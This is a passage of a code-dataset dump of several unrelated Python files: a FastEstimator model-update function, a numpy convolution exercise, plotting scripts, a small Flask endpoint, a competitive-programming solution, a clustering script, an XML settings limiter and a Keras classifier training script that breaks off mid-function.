(batch, height, width, channels)\n y = tf.constant((1, 0, 1))\n with tf.GradientTape(persistent=True) as tape:\n pred = fe.backend.feed_forward(m, x) # [[~0.5, ~0.5], [~0.5, ~0.5], [~0.5, ~0.5]]\n loss = fe.backend.sparse_categorical_crossentropy(y_pred=pred, y_true=y) # ~2.3\n fe.backend.update_model(m, loss=loss, tape=tape)\n ```\n\n This method can be used with PyTorch models:\n ```python\n m = fe.build(fe.architecture.pytorch.LeNet, optimizer_fn=\"adam\")\n x = torch.ones((3,1,28,28)) # (batch, channels, height, width)\n y = torch.tensor((1, 0, 1))\n pred = fe.backend.feed_forward(m, x) # [[~0.5, ~0.5], [~0.5, ~0.5], [~0.5, ~0.5]]\n loss = fe.backend.sparse_categorical_crossentropy(y_pred=pred, y_true=y) # ~2.3\n fe.backend.update_model(m, loss=loss)\n ```\n\n Args:\n model: A neural network instance to update.\n loss: A loss value to compute gradients from.\n tape: A TensorFlow GradientTape which was recording when the `loss` was computed (iff using TensorFlow).\n retain_graph: Whether to keep the model graph in memory (applicable only for PyTorch).\n\n Raises:\n ValueError: If `model` is an unacceptable data type.\n \"\"\"\n loss = reduce_mean(loss)\n if isinstance(model, tf.keras.Model):\n # scale up loss for mixed precision training to avoid underflow\n if isinstance(model.current_optimizer, mixed_precision.LossScaleOptimizer):\n loss = model.current_optimizer.get_scaled_loss(loss)\n # for multi-gpu training, the gradient will be combined by sum, normalize the loss\n strategy = tf.distribute.get_strategy()\n if isinstance(strategy, tf.distribute.MirroredStrategy):\n loss = loss / strategy.num_replicas_in_sync\n gradients = get_gradient(loss, model.trainable_variables, tape=tape)\n with tape.stop_recording():\n # scale down gradient to balance scale-up loss\n if isinstance(model.current_optimizer, mixed_precision.LossScaleOptimizer):\n gradients = model.current_optimizer.get_unscaled_gradients(gradients)\n model.current_optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n elif isinstance(model, torch.nn.Module):\n trainable_params = [p for p in model.parameters() if p.requires_grad]\n gradients = get_gradient(loss, trainable_params, retain_graph=retain_graph)\n for gradient, parameter in zip(gradients, trainable_params):\n parameter.grad = gradient\n model.current_optimizer.step()\n else:\n raise ValueError(\"Unrecognized model instance {}\".format(type(model)))\n","sub_path":"fastestimator/backend/update_model.py","file_name":"update_model.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"29201900","text":"#!/usr/bin/env python3\n\"\"\" This module has the method\nconvolve_channels(images, kernel, padding='same', stride=(1, 1))\n\"\"\"\nimport numpy as np\n\n\ndef convolve_channels(images, kernel, padding='same', stride=(1, 1)):\n \"\"\"\n This method performs a convolution on images with channels\n \"\"\"\n h = images.shape[1]\n w = images.shape[2]\n kh = kernel.shape[0]\n kw = kernel.shape[1]\n sh = stride[0]\n sw = stride[1]\n output_h = int(np.ceil((h - kh + 1) / sh))\n output_w = int(np.ceil((w - kw + 1) / sw))\n\n if type(padding) is tuple:\n output_w = ((w - kw + (2 * padding[1])) // sw) + 1\n output_h = ((h - kh + (2 * padding[0])) // sh) + 1\n images = np.pad(images, ((0, 0), (padding[0], padding[0]),\n (padding[1], padding[1]), (0, 0)),\n 'constant', constant_values=0)\n else:\n if padding == \"same\":\n output_h = int(np.ceil(h / sh))\n output_w = int(np.ceil(w / sw))\n output_w = w\n output_h = h\n if kh % 2 == 0:\n pt = kh // 2\n pb = kh // 2\n else:\n ph = max((output_h - 1) * stride[0] + kh - h, 0)\n pt = ph // 2\n pb = ph - pt\n if kw % 2 == 0:\n pt = kh // 2\n pb = kh // 2\n else:\n pw = max((output_w - 1) * stride[1] + kw - w, 0)\n pl = pw // 2\n pr = pw - pl\n ph = int(((h - 1) * sh + kh - h) / 2) + 1\n pw = int(((w - 1) * sw + kw - w) / 2) + 1\n # print(ph, pw)\n images = np.pad(images, ((0, 0), (ph, ph), (pw, pw), (0, 0)),\n 'constant', constant_values=0)\n\n new = np.ones((images.shape[0], output_h,\n output_w))\n # print(new.shape)\n # print(new)\n new_r = 0\n\n for i in range(0, output_h * sh, sh):\n new_c = 0\n for j in range(0, output_w * sw, sw):\n ans = images[:, i:kh + i, j:kw + j, :] * kernel\n # print(ans.shape)\n # print(ans.T.shape)\n # print(np.sum(ans, axis=2).shape)\n mat = np.sum(ans, axis=(1, 3))\n # print(mat.shape)\n new[:, new_r, new_c] = np.sum(mat, axis=1)\n new_c = new_c + 1\n new_r = new_r + 1\n return new\n","sub_path":"math/0x04-convolutions_and_pooling/4-convolve_channels.py","file_name":"4-convolve_channels.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"497398833","text":"import matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport numpy as np\n\nsens_11_off = []\nsens_12_off = []\n\nvolt = 8\ncurr = 0.424\npower = volt*curr\nchannelSurf = 0.00136002\n# print power\n\nf = open('data','r')\nlines = f.readlines()\nf.close()\n\nfor line in lines:\n words = line.split()\n if not words:\n continue\n else:\n if words[0]=='11':\n sens_11_off.append(float(words[2]))\n if words[0]=='12':\n sens_12_off.append(float(words[2]))\n\nresist50 = power/((sens_12_off[0] - sens_11_off[0])*channelSurf)\nresist45 = power/((sens_12_off[1] - sens_11_off[1])*channelSurf)\nresist40 = power/((sens_12_off[2] - sens_11_off[2])*channelSurf)\nresist35 = power/((sens_12_off[3] - sens_11_off[3])*channelSurf)\nresist30 = power/((sens_12_off[4] - sens_11_off[4])*channelSurf)\nresist25 = power/((sens_12_off[5] - sens_11_off[5])*channelSurf)\nresist20 = power/((sens_12_off[6] - sens_11_off[6])*channelSurf)\nresist15 = power/((sens_12_off[7] - sens_11_off[7])*channelSurf)\nresist10 = power/((sens_12_off[8] - sens_11_off[8])*channelSurf)\n\n#####################################################################################\n#####################################################################################\n\n# sensor data\nx = [0,1,2,3,4,5,6,7,8]\ny0 = [resist10, resist15, resist20, resist25, resist30, resist35, resist40, resist45, resist50]\n\n#####################################################################################\n#####################################################################################\n\nymax = 2.6\nymin = 0.6\n\n# create figure\nfig, axes = plt.subplots(ncols=1, nrows=1, figsize=(15, 10), dpi=100)\nfig.patch.set_facecolor('w')\n\n# add subplot\nax00 = fig.add_subplot(1,1,1)\n# plot data\nplt.plot(x, y0, linestyle=\"dashed\", marker=\"o\")\n# plot settings\nplt.xlim(-1,9)\n# plt.ylim(ymin, ymax)\nlabels = ['10','15','20','25','30','35','40','45','50']\n# ax00.xaxis.set_major_locator(ticker.MultipleLocator(1))\n# ax00.xaxis.set_minor_locator(ticker.MultipleLocator(0.5))\nax00.yaxis.set_major_locator(ticker.MultipleLocator(100))\nax00.yaxis.set_minor_locator(ticker.MultipleLocator(50))\nplt.xticks(x, labels)\nplt.setp(axes, xticks=[], yticks=[])\nplt.grid(b=True, which='both')\nplt.xlabel(r\"Flow [$\\frac{ml}{min}$]\", fontsize=15, labelpad=20)\nplt.ylabel(r'Heat Transfer Coefficient [$\\frac{W}{m^{2}K}$]', fontsize=15, labelpad=25)\nplt.title(\"Heat Transfer Coefficient\", fontsize=20, y=1.05)\ntextstr = 'Power of heater = 3.4 W'\nprops = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\nax00.text(-0.8, 1060, textstr, fontsize=14, bbox=props)\n\n# show plot\nplt.show()\n","sub_path":"4inchHeater/2015-08-28-heaterOnOff/doHTC.py","file_name":"doHTC.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"294399955","text":"from flask import Flask, request\nfrom flask_restful import Api\nfrom flask_cors import CORS\nimport sys\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser(description='Select current directory')\nparser.add_argument('--path',\n type=str,\n default=None,\n help='the path to this file')\n\napp = Flask(__name__)\napi = Api(app)\nCORS(app)\n\n@app.route('/sudoku_hs/experiment/new')\ndef new_experiment():\n seed = request.args.get('seed', default=None, type=str)\n return sudoku_hs_service.new_experiment(seed)\n\n\ndef last_directory(path):\n return os.path.basename(os.path.normpath(path))\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n path = os.getcwd()\n if args.path is not None:\n if os.path.isdir(args.path) and last_directory(args.path) == 'sudoku-app':\n path = os.path.join(args.path, 'python')\n else:\n raise Exception(\"{} is not a valid path to sudoku-app\")\n else:\n if last_directory(path) == 'scripts': # this directory\n path = os.path.join(path, '..')\n\n sys.path.append(path)\n from hiddensingles.experiment import sudoku_hs_service\n\n app.run(debug=True, host='0.0.0.0', port=5001)\n","sub_path":"python/scripts/rest_api_endpoint.py","file_name":"rest_api_endpoint.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"622187379","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef readFile(fileName):\n inFile = open(fileName,'r')\n text = inFile.read()\n inFile.close()\n return text\n\ndef readFileFor(fileName):\n inFile = open(fileName, 'r')\n total = 0\n\n for line in inFile:\n lineList = line.split()\n total = total + int(lineList[2])\n\n inFile.close()\n return total\n\ndef readFileWhile(fileName):\n '''\n >>> readFileFor('numbers.txt')\n 20\n >>> readFileWhile('numbers.txt')\n 20\n '''\n inFile = open(fileName, 'r')\n total = 0\n\n while True:\n line = inFile.readline()\n if not line:\n break\n lineList = line.split()\n total += int(lineList[2])\n\n inFile.close()\n return total\n\ndef plotDrugUse():\n #Load csv\n f = open('drug_use_age.csv','r')\n lines = f.read().split('\\n')\n lines = lines[:-1] #Removes blank line at end\n #table = [[] for _ in range(len(lines))] #table[col][row]\n table = [[header] for header in lines[0].split(',')]\n print(table,'\\n',len(table))\n for line in lines[1:]:\n values = line.split(',')\n print('len of values: ', len(values))\n for col,e in enumerate(values):\n print(col,e)\n if e == '-':\n e = 0\n if col >= 1:\n table[col].append(float(e))\n else:\n table[col].append(e)\n #Process into numpy\n x_labels = table[0][1:]\n print('x_labels\\n',x_labels)\n x = range(len(x_labels))\n ganja_use = [e for e in table[4][1:]]\n drank_use = [e for e in table[2][1:]]\n\n plt.margins(0.2)\n plt.subplots_adjust(bottom=0.15)\n plt.plot(x,drank_use,'r-',label='Alcohol Usage')\n plt.plot(x,ganja_use,'--',label='Marijuana Usage')\n plt.xticks(x,x_labels,rotation='vertical')\n plt.xlim([0,len(x_labels)-1])\n plt.ylim(0,100)\n plt.xlabel(\"Age Groups\")\n plt.ylabel(\"Percentage of age group who used drug in past 12 months\")\n\n plt.title(\"From national survey on drug use 2015\")\n plt.legend(loc = 'upper right', shadow = True)\n\n plt.show()\n\nimport doctest\ndoctest.testmod()\n","sub_path":"HW10/hw10pr1.py","file_name":"hw10pr1.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"338766845","text":"import sys\nsys.setrecursionlimit(1 << 20)\nINF = float('inf')\n\n\ndef read_int_list():\n return list(map(int, input().split()))\n\n\ndef read_ints():\n return map(int, input().split())\n\n\n# import heapq\n\nfrom collections import defaultdict\n\n\ndef main():\n N, M = read_ints()\n # A = read_int_list()\n # A.sort()\n A = defaultdict(int)\n for a in read_int_list():\n A[a] += 1\n for _ in range(M):\n B, C = read_ints()\n A[C] += B\n # print(A)\n\n ans = 0\n cur_ct = 0\n sorted_A = sorted(A.items(), key=lambda x: -x[0])\n # print(sorted_A)\n for v, ct in sorted_A:\n if cur_ct + ct < N:\n ans += v * ct\n cur_ct += ct\n else:\n ans += v * (N - cur_ct)\n break\n print(ans)\n\n # TLE\n # for _ in range(M):\n # B, C = read_ints()\n # A += [C] * B\n # A.sort(reverse=True)\n # print(sum(A[:N]))\n\n # # TLE\n # heapq.heapify(A)\n # for _ in range(M):\n # B, C = read_ints()\n # for _ in range(B):\n # v = heapq.heappop(A)\n # heapq.heappush(A, max(v, C))\n # print(sum(A))\n\n\nmain()\n","sub_path":"abc/abc127d.py","file_name":"abc127d.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"484828140","text":"# Python3 program to count number of \n# distinct subseqences of a given string \n\nMAX_CHAR = 256\n\ndef countSub(ss): \n\n\t# create an array to store index of last \n\tlast = [-1 for i in range(MAX_CHAR + 1)] \n\t\n\t# length of input string \n\tn = len(ss) \n\t\n\t# dp[i] is going to store count of \n\t# discount subsequence of length of i \n\tdp = [-2 for i in range(n + 1)] \n\t\n\t# empty substring has only \n\t# one subseqence \n\tdp[0] = 1\n\t\n\t# Traverse through all lengths \n\t# from 1 to n \n\tfor i in range(1, n + 1): \n\t\t\n\t\t# number of subseqence with \n\t\t# substring str[0...i-1] \n\t\tdp[i] = 2 * dp[i - 1] \n\n\t\t# if current character has appeared \n\t\t# before, then remove all subseqences \n\t\t# ending with previous occurrence. \n\t\tif last[ord(ss[i - 1])] != -1: \n\t\t\tdp[i] = dp[i] - dp[last[ord(ss[i - 1])]] \n\t\tlast[ord(ss[i - 1])] = i - 1\n\t\n\treturn dp[n] \n\t\n# Driver code \nprint(countSub(\"dgfg\")) \n\n# This code is contributed \n# by mohit kumar 29 \n","sub_path":"Medium Problems/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"549218997","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 2 11:27:36 2019\n\n@author: Westo\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.pyplot import figure, show, scatter\nfrom scipy.io import loadmat\nfrom toolbox_02450 import clusterplot\nfrom scipy.cluster.hierarchy import linkage, fcluster, dendrogram\n\n# Again import data\nairbnb_data = \"AB_NYC_2019.csv\"\n\n#Specify attirubutes\nattributes_datatype = {\n 'id': np.float64, # 0\n 'name': str, # 1\n 'host_id': np.float64, # 2\n 'host_name': str, # 3\n 'neighbourhood_group': str, # 4\n 'neighbourhood': str, # 5\n 'latitude': np.float64, # 6\n 'longitude': np.float64, # 7\n 'room_type': str, # 8\n 'price': np.float64, # 9\n 'minimum_nights': np.float64, # 10\n 'number_of_reviews': np.float64, # 11\n # 'last_review': str, # 12\n 'reviews_per_month': np.float64, # 13\n 'calculated_host_listings_count': np.float64, # 14\n 'availability_365': np.float64 # 15\n}\n\nattributes_dates = [\"last_review\"]\n\n# Import data\ndata_frame_original = pd.read_csv(airbnb_data, dtype=attributes_datatype, parse_dates=attributes_dates)\n\n#Fill NAs with zero\ndata_frame_original.fillna(0, inplace=True)\n\n#Take a smaller sample\ndata_frame = data_frame_original.sample(frac=0.3)\n#data_frame = data_frame_original[:10]\n\n#Get raw data\nraw_data = data_frame.get_values()\nraw_data = raw_data[:, 4:]\nroom_types = raw_data[:,[4]]\nburoughs = raw_data[:,[0]]\nraw_data = np.delete(raw_data,[0,1,4,8,12],1)\nsize = np.size(raw_data,0)\n\n#Transform data by:\n#-Dropping irrelevant attributes\n#-1 out of k encoding\n#-standardizing the other numeric elements\nY = np.zeros((size,1),dtype=int)\nroom_type_k_encoding = np.zeros((size,3),dtype=int)\n\nfor i in range(size):\n if room_types[i]==\"Private room\":\n room_type_k_encoding[i,0]=1\n elif room_types[i]==\"Entire home/apt\":\n room_type_k_encoding[i,1]=1\n elif room_types[i]==\"Shared room\":\n room_type_k_encoding[i,2]=1\n else:\n print(\"Something is funky\")\n \n if buroughs[i,0]==\"Bronx\":\n Y[i] = 0\n elif buroughs[i,0]==\"Brooklyn\":\n Y[i] = 1\n elif buroughs[i,0]==\"Manhattan\":\n Y[i] = 2\n elif buroughs[i,0]==\"Queens\":\n Y[i] = 3\n elif buroughs[i,0]==\"Staten Island\":\n Y[i] = 4\n else:\n print(\"Something else is funky\")\n\nfor j in range(8):\n avg = np.mean(raw_data[:,[j]])\n std = np.std(raw_data[:,[j]])\n \n for i in range(size):\n raw_data[i,j] = (raw_data[i,j] - avg)/std;\n\nX = np.concatenate((raw_data,room_type_k_encoding),axis=1)\nM,N = np.shape(X)\n\ncols = [1,2,3,4,5,6,7,8,9,10,11]\n\nprint(\"Using columns: \")\nx_labels = [\"Lat\",\"Long\",\"Price\",\"Min Nights\",\"Number Reviews\",\n \"Reviews per month\",\"Host Listings\",\"Availability\",\"Private Room\",\"Entire Home\",\n \"Shared Room\"]\nfor i in cols:\n print(x_labels[i-1])\nfor i in range(len(cols)):\n cols[i] = cols[i]-1\nX = X[:,cols]\nprint(X)\n\n# Perform hierarchical/agglomerative clustering on data matrix\nMethod = 'single'\nMetric = 'euclidean'\n\nZ = linkage(X, method=Method, metric=Metric)\n\n# Compute and display clusters by thresholding the dendrogram\nMaxclust = 5\ncls = fcluster(Z, criterion='maxclust', t=Maxclust)\nfigure(1)\nclusterplot(X, cls.reshape(cls.shape[0],1), y=Y)\n\n# Display dendrogram\nmax_display_levels=6\nfigure(2,figsize=(10,4))\ndendrogram(Z, truncate_mode='level', p=max_display_levels)\n\nshow()\n\n\n\n\n \n\n\n\n\n\n","sub_path":"DTU-02450 Introduction to Machine Learning and Data Mining/Project3/code/project3code_clustering1a.py","file_name":"project3code_clustering1a.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"23978185","text":"import xml.dom.minidom\nimport sys\n\ndef save_settings(i):\n doc = xml.dom.minidom.Document()\n settings = doc.createElement(\"Settings\")\n settings.setAttribute(\"Limit_Reset\", str(i[0]))\n settings.setAttribute(\"Limit_Send\", str(i[1]))\n settings.setAttribute(\"Limit_Counter\", str(i[2]))\n settings.setAttribute(\"Counter_Reset\", str(i[3]))\n settings.setAttribute(\"Counter_Send\", str(i[4]))\n settings.setAttribute(\"Send_Allow\", str(i[5]))\n doc.appendChild(settings)\n doc.writexml( open('data.xml', 'w'),\n indent=\" \",\n addindent=\" \",\n newl='\\n')\n return doc\n\ndef load_settings():\n s=[0,0,0,0,0,0]\n doc = xml.dom.minidom.parse(\"D:\\Python27\\data.xml\")\n name = doc.getElementsByTagName(\"Settings\")\n s[0] = int(name[0].getAttribute(\"Limit_Reset\"))\n s[1] = int(name[0].getAttribute(\"Limit_Send\"))\n s[2] = int(name[0].getAttribute(\"Limit_Counter\"))\n s[3] = int(name[0].getAttribute(\"Counter_Reset\"))\n s[4] = int(name[0].getAttribute(\"Counter_Send\"))\n s[5] = int(name[0].getAttribute(\"Send_Allow\"))\n return s\n\ndef print_settings(s):\n print(\"Limit_Reset : \" + str(settings[0]))\n print(\"Limit_Send : \" + str(settings[1]))\n print(\"Limit_Counter : \" + str(settings[2]))\n print(\"Counter_Reset : \" + str(settings[3]))\n print(\"Counter_Send : \" + str(settings[4]))\n print(\"Send_Allow : \" + str(settings[5]))\n return\n\nsettings=[0,0,0,0,0,0]\nsettings=load_settings()\nprint_settings(settings)\n\nLimit_Reset = settings[0]\nLimit_Send = settings[1]\nLimit_Counter = settings[2]\nCounter_Reset = settings[3]\nCounter_Send = settings[4]\nSend_Allow = settings[5]\n\n\n# Read \ni=0\nprint (\"Eingabe eines neuen Wertes \")\ni=int(input (\">\"))\nprint (i)\nif i < Limit_Send:\n Counter_Reset=0\n Counter_Send=Counter_Send+1\n if Counter_Send > Limit_Counter:\n if Send_Allow == 1:\n print (\"Send_Alarm\")\n Send_Allow = 0\nif i > Limit_Reset:\n Counter_Send = 0\n Counter_Reset=Counter_Reset+1\n if Counter_Reset > Limit_Counter:\n print (\"Send_Okay\")\n Send_Allow = 1\nif i > Limit_Send:\n if i < Limit_Reset:\n Counter_Reset=0\n Counter_Send =0\n \nsettings[3] = Counter_Reset\nsettings[4] = Counter_Send\nsettings[5] = Send_Allow\nsave_settings(settings)\n","sub_path":"Limiter.py","file_name":"Limiter.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"427177355","text":"#!/usr/bin/env python\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom argparse import ArgumentParser\nfrom models import Classifier\nfrom DataProcessing import Data\nfrom keras import optimizers\nfrom keras.models import model_from_json\nfrom sklearn.metrics import roc_curve, roc_auc_score, auc\nfrom scipy import interp\nfrom itertools import cycle\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom sklearn.utils import class_weight\nfrom keras.callbacks import Callback\nfrom sklearn.metrics import confusion_matrix, f1_score, precision_score, recall_score\nfrom sklearn.model_selection import train_test_split\nfrom losses import Metrics, classifier_loss, oneplus_cosine_proximity, Roc\nfrom focal_losses import categorical_focal_loss\nimport itertools\nimport sys\nimport keras\nnp.set_printoptions(threshold=sys.maxsize)\n\nimport os\nimport math\nseed = 215\nnp.random.seed(seed)\n\ndata = Data(1,'LO');\n\ndef getArgs():\n\t\"\"\"\n\tGet arguments from command line.\n\t\"\"\"\n\targs = ArgumentParser(description=\"Argumetns for training for DNN\")\n\targs.add_argument('-n', '--nepochs', action='store', default=200, help='Number of epochs')\n\targs.add_argument('-o', '--noutput', action='store', default=4, help='Number of outputs from the model nclass')\n\targs.add_argument('-l', '--learning_rate', action='store', default=0.0001, help='learning rate')\n\targs.add_argument('-d', '--dropout_rate', action='store', default=0.15, help='Dropout rate') #0.13\n\targs.add_argument('-b', '--batch_size', action='store', default=1000, help='batch size')\n\targs.add_argument('-N', '--nerouns', action='store', default=128, help='number of neurons in each layer')\n\treturn args.parse_args()\n\ndef train(N_epochs,n_outputs,drop,learing_rate,_batch_size,_neurons):\n\t\n\tn_inputs = data.X_Train.shape[1];\n\n\tclf = Classifier('DNN_Classifier',n_inputs,n_outputs,drop,_neurons).Sequential\n\n\tadm = optimizers.Adam(lr=learing_rate)\n\n\tclf.compile(loss=['categorical_crossentropy'], optimizer=adm, metrics=['categorical_accuracy']);\n\n\t#clf.compile(loss=categorical_focal_loss(gamma=2., alpha=.25), optimizer=adm, metrics=['categorical_accuracy']);\n\n\tes2 = EarlyStopping(monitor='val_loss', patience=3, verbose=1, mode='min', min_delta=0.00001)\n\tsave_best = ModelCheckpoint('weights/best.weights', monitor='val_loss', verbose=1, save_best_only=True)\n\treduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.9, patience=1, min_lr=0., verbose=1, mode='min', min_delta=0.0001)\n\tmetrics = Metrics()\n\troc = Roc()\n\tcallbacks_list = [es2,save_best]\n\tprint(clf.summary())\n\n\tX = np.append(data.X_Train, data.X_Val, axis=0)\n\tY = np.append(data.Y_Train, data.Y_Val, axis=0)\n\tW = np.append(data.W_Train, data.W_Val, axis=0)\n\n\tX_Train, X_Val, Y_Train, Y_Val, MC_Train, MC_Val = train_test_split(X, Y, W, test_size=0.33, random_state=215)\n\n\tTrain_W = class_weight.compute_sample_weight('balanced', Y_Train)\n\tVal_W = class_weight.compute_sample_weight('balanced', Y_Val)\n\t\n\thistory = clf.fit(X_Train, Y_Train, epochs=N_epochs, batch_size=_batch_size, shuffle=True, callbacks=callbacks_list, validation_data=(X_Val, Y_Val, Val_W), sample_weight=Train_W);\n\n\tdel clf;\n\n\treturn history\n\ndef plot_roc_curve(Y_true, Y_flase,dirname):\n \n\tfpr = dict()\n\ttpr = dict()\n\troc_auc = dict()\n\tfor i in range(4):\n \t\tfpr[i], tpr[i], _ = roc_curve(Y_true[:, i], Y_flase[:, i])\n \t\troc_auc[i] = auc(fpr[i], tpr[i])\n\tfpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(Y_true.ravel(), Y_flase.ravel())\n\troc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\tall_fpr = np.unique(np.concatenate([fpr[i] for i in range(4)]))\n\n\tmean_tpr = np.zeros_like(all_fpr)\n\tfor i in range(4):\n \t\tmean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\tmean_tpr /= 4\n\n\tfpr[\"macro\"] = all_fpr\n\ttpr[\"macro\"] = mean_tpr\n\troc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n\tplt.figure()\n\tplt.plot(fpr[\"micro\"], tpr[\"micro\"],\n label='micro-average ROC curve (area = {0:0.2f})'''.format(roc_auc[\"micro\"]), color='deeppink', linestyle=':', linewidth=4)\n\n\tplt.plot(tpr[\"macro\"], fpr[\"macro\"],\n label='macro-average ROC curve (area = {0:0.2f})'''.format(roc_auc[\"macro\"]),\n color='navy', linestyle=':', linewidth=4)\n\tcolors = cycle(['aqua', 'darkorange', 'cornflowerblue', 'red'])\n\tsamples = ['HH','ttH','ZH','YY']\n\tfor i, color in zip(range(4), colors):\n \t\tplt.plot(tpr[i], 1-fpr[i], color=color, lw=2, label='ROC curve of class {0} (area = {1:0.2f})'''.format(samples[i], roc_auc[i]))\n\n\tplt.xlim([0.0, 1.0])\n\tplt.ylim([0.0, 1.05])\n\tplt.xlabel('Signal Eff')\n\tplt.ylabel('Bkg Rejection')\n\tplt.title('Some extension of Receiver operating characteristic to multi-class')\n\tplt.legend(loc=\"lower right\")\n\tplt.savefig(dirname+\"/ROC.png\")\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues, dirc='None'):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n # print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=90)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.savefig(dirc+'/cm_SM.png')\n\n\ndef plot_model_history(model_history,dirname):\n\n fig, axs = plt.subplots(1,2,figsize=(15,5))\n\n axs[0].plot(range(1,len(model_history.history['categorical_accuracy'])+1),model_history.history['categorical_accuracy'])\n axs[0].plot(range(1,len(model_history.history['val_categorical_accuracy'])+1),model_history.history['val_categorical_accuracy'])\n axs[0].set_title('Model Accuracy')\n axs[0].set_ylabel('Accuracy')\n axs[0].set_xlabel('Epoch')\n axs[0].set_xticks(np.arange(1,len(model_history.history['categorical_accuracy'])+1),len(model_history.history['categorical_accuracy'])/10)\n axs[0].legend(['train', 'val'], loc='best')\n\n axs[1].plot(range(1,len(model_history.history['loss'])+1),model_history.history['loss'])\n axs[1].plot(range(1,len(model_history.history['val_loss'])+1),model_history.history['val_loss'])\n axs[1].set_title('Model Loss')\n axs[1].set_ylabel('Loss')\n axs[1].set_xlabel('Epoch')\n axs[1].set_xticks(np.arange(1,len(model_history.history['loss'])+1),len(model_history.history['loss'])/10)\n axs[1].legend(['train', 'val'], loc='best')\n fig.savefig(dirname+\"/LOSS.png\")\n\ndef plot_Z(HH,ttH,ZH,JJ,cat):\n\n\tScale_HH = [4., 4., 4., 4., 4.];\n\tScale_ZH = [4., 4., 4., 4., 4.];\n\tScale_ttH = [4., 4., 4., 4., 4.];\n\tScale_JJ = [4., 4., 4., 4., 4.]; \n\n#\tpHH_HH = HH[:,0]\n#\tpttH_HH = ttH[:,0]\n#\tpZH_HH = ZH[:,0]\n#\tpJJ_HH = JJ[:,0]\n\n\tpHH_HH = np.array(HH)\n\tpttH_HH = np.array(ttH)\n\tpZH_HH = np.array(ZH)\n\tpJJ_HH = np.array(JJ)\n\n\n\tpHH_HH = pHH_HH[data.mask_HH];\n\tY_HH = data.Y_HH[data.mask_HH];\n\tZ_HH = data.Z_HH[data.mask_HH];\n\tM_HH = data.M_HH[data.mask_HH];\n\tW_HH = data.W_HH[data.mask_HH];\n\tB_HH = data.B_HH[data.mask_HH];\n\n\tpttH_HH = pttH_HH[data.mask_ttH];\n\tY_ttH = data.Y_ttH[data.mask_ttH];\n\tZ_ttH = data.Z_ttH[data.mask_ttH];\n\tM_ttH = data.M_ttH[data.mask_ttH];\n\tW_ttH = data.W_ttH[data.mask_ttH];\n\tB_ttH = data.B_ttH[data.mask_ttH]; \n \n\tpZH_HH = pZH_HH[data.mask_ZH];\n\tY_ZH = data.Y_ZH[data.mask_ZH];\n\tZ_ZH = data.Z_ZH[data.mask_ZH];\n\tM_ZH = data.M_ZH[data.mask_ZH];\n\tW_ZH = data.W_ZH[data.mask_ZH];\n\tB_ZH = data.B_ZH[data.mask_ZH];\n\n\tpJJ_HH = pJJ_HH[data.mask_JJ];\n\tY_JJ = data.Y_JJ[data.mask_JJ];\n\tZ_JJ = data.Z_JJ[data.mask_JJ];\n\tM_JJ = data.M_JJ[data.mask_JJ];\n\tW_JJ = data.W_JJ[data.mask_JJ];\n\tB_JJ = data.B_JJ[data.mask_JJ];\n\n\tX = np.linspace(-20., 5., 500)\n\tSig = []\n\tdSig = []\n\tXX = []\n\t\n\tZ_max = 0;\n\tdZ_max = 0;\n\tcut = 0;\n\n\tS = 0\n\tB = 0\n\tT = 0\n\tZh = 0\n\tfor x in X:\n\t\t\n\t\tsumW_sig_unc = 0\n\t\tsumW_bkg_unc = 0\n\t\tsumW_sig = 0\n\t\tsumW_bkg = 0\n\t\tt = 0\n\t\tz = 0\n\t\tsumW_bkg_cut = 0\n\t\tfor i in 